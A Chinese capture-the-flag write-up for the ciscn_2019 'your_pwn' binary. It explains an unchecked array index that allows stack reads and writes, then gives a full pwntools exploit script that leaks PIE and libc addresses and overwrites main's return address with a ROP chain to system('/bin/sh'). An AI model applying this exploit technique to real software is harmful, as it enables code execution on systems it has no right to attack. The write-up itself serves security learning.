ciscn_2019

your_pwn

  • 开启PIE保护的话影响的是程序加载的基地址,不会影响指令间的相对地址,因此我们如果能够泄露出程序或者libc的某些地址,我们就可以利用偏移来构造ROP. 该程序是64位的程序,PIE开启,NX开启,relro没开全.

  • 在sub中我们发现了程序进行了41次循环,每一次输入一个下标index,以局部变量v4为基准泄露一个字节的内容,然后再改为新的数据,漏洞点在于index没有进行大小检查,可以任意大,超出v4数组的范围到达main返回地址处,这既实现了leak又实现了change,而且有41次机会,现在思路如下.
  • 第一步还是leak出libc,根据经验我们知道在main函数返回地址附近一般会有__libc_start_main+240出现,我们可以泄露其然后进而泄露libc,这里的libc需要我们自己查找确定,我用的是wiki上的一个工具:LibcSearcher,除了libc之外,我们还应泄露一下程序的基址,因为程序开了PIE,所以我们最后改main函数返回地址的时候要构造p64(pop_rdi_addr)+p64(sh_addr)+p64(system_addr)这个payload的时候pop_rdi_addr这个gadget需要程序基址。
  • main函数的rbp附近的stack分部如下图:我们可以利用画红圈的两个地方来leak出libc和基址。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context.log_level = 'debug'
pop_rdi_ret = 0xd03
pop_rsi_r15_ret = 0xd01
r = process("./pwn")
r.recvuntil("name:")
r.sendline("wuge")
def get(p):
i = 0
ll = 0
while(1):
r.recvuntil("index\n")
r.sendline(str(i + p))
data = r.recvuntil("value\n")[:-17]
data = int(data[-2:],16)
if(i < 8):
ll += data * (0x100 ** i)
r.sendline(str(data))
i += 1
if(i % 41 == 0):
r.recvuntil("continue(yes/no)? \n")
r.sendline("yes")
return ll
def write(p, x):
i = 0
while(1):
r.recvuntil("index\n")
r.sendline(str(i + p))
r.recvuntil("value\n")
data = 0
if(i != 40):
data = (x[i/8] / (0x100 ** (i % 8))) % 0x100
r.sendline(str(data))
i += 1
if(i % 41 == 0):
r.recvuntil("continue(yes/no)? \n")
r.sendline("yes")
return
pie = get(0x158) - 0xb11
print "pie: " + hex(pie)
write(0x158, [pie + pop_rdi_ret, pie + 0x202020, pie + 0x8B0, pie + 0xb0c, 0, 0, 0, 0])
libc = u64(r.recvuntil("\n")[0:6].ljust(8,'\0')) - 0x06f690
print "libc: " + hex(libc)
system = libc + 0x045390
binsh = libc + 0x18cd57
write(0x158, [pie + pop_rdi_ret, binsh, system, 0, 0, 0, 0, 0])
r.interactive()